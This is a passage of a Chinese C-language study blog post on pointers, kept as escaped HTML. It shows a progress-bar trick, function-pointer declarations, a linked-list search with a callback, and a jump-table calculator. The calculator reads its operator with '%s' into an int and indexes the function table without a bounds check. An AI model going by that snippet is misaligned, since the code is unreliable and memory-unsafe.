class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003eprint_process_bar\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e n)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e n+=\u003cspan class=\"number\"\u003e5\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e n/=\u003cspan class=\"number\"\u003e10\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%s\\n\u0026#34;\u003c/span\u003e,\u003cspan class=\"string\"\u003e\u0026#34;**********\u0026#34;\u003c/span\u003e+\u003cspan class=\"number\"\u003e10\u003c/span\u003e-n);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这个函数接收一个0-100间的值,输出相应数量除以10的\u003ccode\u003e*\u003c/code\u003e。像不像一个进度条呢?\u003c/p\u003e\u003cp\u003e如果我们用for循环来实现,那么100%就需要循环100次。效率远不如这个函数。当然,还是可读性和可维护性更重要一些。\u003c/p\u003e\u003cp\u003e还有这个进制转换的方法:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eputchar\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;0123456789ABCDEF\u0026#34;\u003c/span\u003e[value%\u003cspan class=\"number\"\u003e16\u003c/span\u003e]);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它比传统的进制转换或许会更快一些,但是你应该写清楚注释,确保它的可读性。\u003c/p\u003e\u003ch2 id=\"指针和函数:函数指针\"\u003e\u003ca href=\"https://xeonds.github.io/2021/08/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E6%8C%87%E9%92%88/#%E6%8C%87%E9%92%88%E5%92%8C%E5%87%BD%E6%95%B0%EF%BC%9A%E5%87%BD%E6%95%B0%E6%8C%87%E9%92%88\" class=\"headerlink\" title=\"指针和函数:函数指针\"\u003e\u003c/a\u003e指针和函数:函数指针\u003c/h2\u003e\u003cp\u003e首先,在介绍更高级的指针类型之前,很有必要看看它们是如何声明的。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e f; \u003cspan class=\"comment\"\u003e//一个整型变量\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e *f; \u003cspan class=\"comment\"\u003e//一个指向整型的指针\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003ef\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e; \u003cspan class=\"comment\"\u003e//一个函数f\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e *\u003cspan class=\"title function_\"\u003ef\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e; \u003cspan class=\"comment\"\u003e//一个返回值为指向整型的指针的函数\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/*\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e上面那个语句中,(),也就是\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e函数调用操作符,优先级高于\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e间接访问操作符。所以f是一个\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e函数,它的返回值是一个\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e指向整型的指针。\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e*/\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e (*f)(); \u003cspan class=\"comment\"\u003e//一个指向函数的指针\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/*\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e需要分清的是括号的含义。第一对括号\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e就是普通的括号,最先执行计算,表示\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003ef是一个指针。然后是第二个括号,表示\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e函数调用,所以*f是一个返回值为int的\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e函数,f则是指向这个函数的指针。\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e*/\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e *(*f)(); \u003cspan class=\"comment\"\u003e//一个指向返回值为整型指针的函数指针\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e f[]; \u003cspan class=\"comment\"\u003e//一个数组\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e *f[]; \u003cspan class=\"comment\"\u003e//一个元素为整型指针的数组\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e (*f[])(); \u003cspan class=\"comment\"\u003e//一个成员为返回值为整型的函数指针的指针数组\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e *(*f[])(); \u003cspan class=\"comment\"\u003e//一个指针数组,指针所指向的类型是返回值为整型指针的函数\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e *(*f[])(\u003cspan class=\"type\"\u003eint\u003c/span\u003e, \u003cspan class=\"type\"\u003efloat\u003c/span\u003e); \u003cspan class=\"comment\"\u003e//标准ANSI C风格的函数指针数组的声明\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e有一个叫做cdecl的程序,可以解释一个现存的C语言声明,不妨百度一下。\u003c/p\u003e\u003ch3 id=\"函数指针\"\u003e\u003ca href=\"https://xeonds.github.io/2021/08/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E6%8C%87%E9%92%88/#%E5%87%BD%E6%95%B0%E6%8C%87%E9%92%88\" class=\"headerlink\" title=\"函数指针\"\u003e\u003c/a\u003e函数指针\u003c/h3\u003e\u003cp\u003e作为一种技巧,它会降低代码的可读性,但是也会提升效率。最常用的两个用法就是转换表和作为参数传给另一个函数,即:回调函数。\u003c/p\u003e\u003ch4 id=\"回调函数\"\u003e\u003ca href=\"https://xeonds.github.io/2021/08/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E6%8C%87%E9%92%88/#%E5%9B%9E%E8%B0%83%E5%87%BD%E6%95%B0\" class=\"headerlink\" title=\"回调函数\"\u003e\u003c/a\u003e回调函数\u003c/h4\u003e\u003cp\u003e下面看一个程序。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;node.h\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eNode * \u003cspan class=\"title function_\"\u003esearch_list\u003c/span\u003e\u003cspan class=\"params\"\u003e(Node *node, \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"type\"\u003econst\u003c/span\u003e *value, \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e (*compare)(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"type\"\u003econst\u003c/span\u003e *, \u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"type\"\u003econst\u003c/span\u003e *))\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e(node!=\u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(compare(\u0026amp;node-\u0026gt;value, value)==\u003cspan class=\"number\"\u003e0\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e node=node-\u0026gt;link;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e node;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这是一个类型无关的链表查找函数。它的第三个参数是一个指向比较函数的指针,所以在调用的时候,我们需要编写一个对应链表数据类型的比较函数:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003ecmp_int\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"type\"\u003econst\u003c/span\u003e *a, \u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"type\"\u003econst\u003c/span\u003e *b)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e !(*(\u003cspan class=\"type\"\u003eint\u003c/span\u003e*)a==*(\u003cspan class=\"type\"\u003eint\u003c/span\u003e*)b);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e注意这个函数。为了使上面的查找函数类型无关,所以它调用的函数的参数也必须是类型无关的。\u003c/p\u003e\u003cp\u003e也是因此,在编写比较函数时,我们需要对指针进行强制类型转换,然后再解引用,才能得到正确的值。\u003c/p\u003e\u003cp\u003e顺便注意一下我写的比较函数,用了一些方法简写了。\u003c/p\u003e\u003ch4 id=\"转移表\"\u003e\u003ca href=\"https://xeonds.github.io/2021/08/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E6%8C%87%E9%92%88/#%E8%BD%AC%E7%A7%BB%E8%A1%A8\" class=\"headerlink\" title=\"转移表\"\u003e\u003c/a\u003e转移表\u003c/h4\u003e\u003cp\u003e考虑一个计算器程序。对于一个功能很多的计算器,我们要对它的运算符编一个很长的switch语句。很繁琐,对吧?\u003c/p\u003e\u003cp\u003e假设操作符是从0开始的,则可以用转移表来替换掉这个大大的switch:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eadd\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e a, \u003cspan class=\"type\"\u003eint\u003c/span\u003e b)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esub\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e a, \u003cspan class=\"type\"\u003eint\u003c/span\u003e b)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emul\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e a, \u003cspan class=\"type\"\u003eint\u003c/span\u003e b)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003ediv\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e a, \u003cspan class=\"type\"\u003eint\u003c/span\u003e b)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e (*oper_func[])(\u003cspan class=\"type\"\u003eint\u003c/span\u003e, \u003cspan class=\"type\"\u003eint\u003c/span\u003e) = {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e add, sub, mul, div\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e a,b,oper;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e result;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d %s %d\u0026#34;\u003c/span\u003e,\u0026amp;a,\u0026amp;oper,\u0026amp;b);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e result = oper_func[oper](a, b);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e, result);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eadd\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e a, \u003cspan class=\"type\"\u003eint\u003c/span\u003e b)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e a+b;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esub\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e a, \u003cspan class=\"type\"\u003eint\u003c/span\u003e b)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e a-b;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emul\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e a, \u003cspan class=\"type\"\u003eint\u003c/span\u003e b)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e a*b;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003ediv\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan 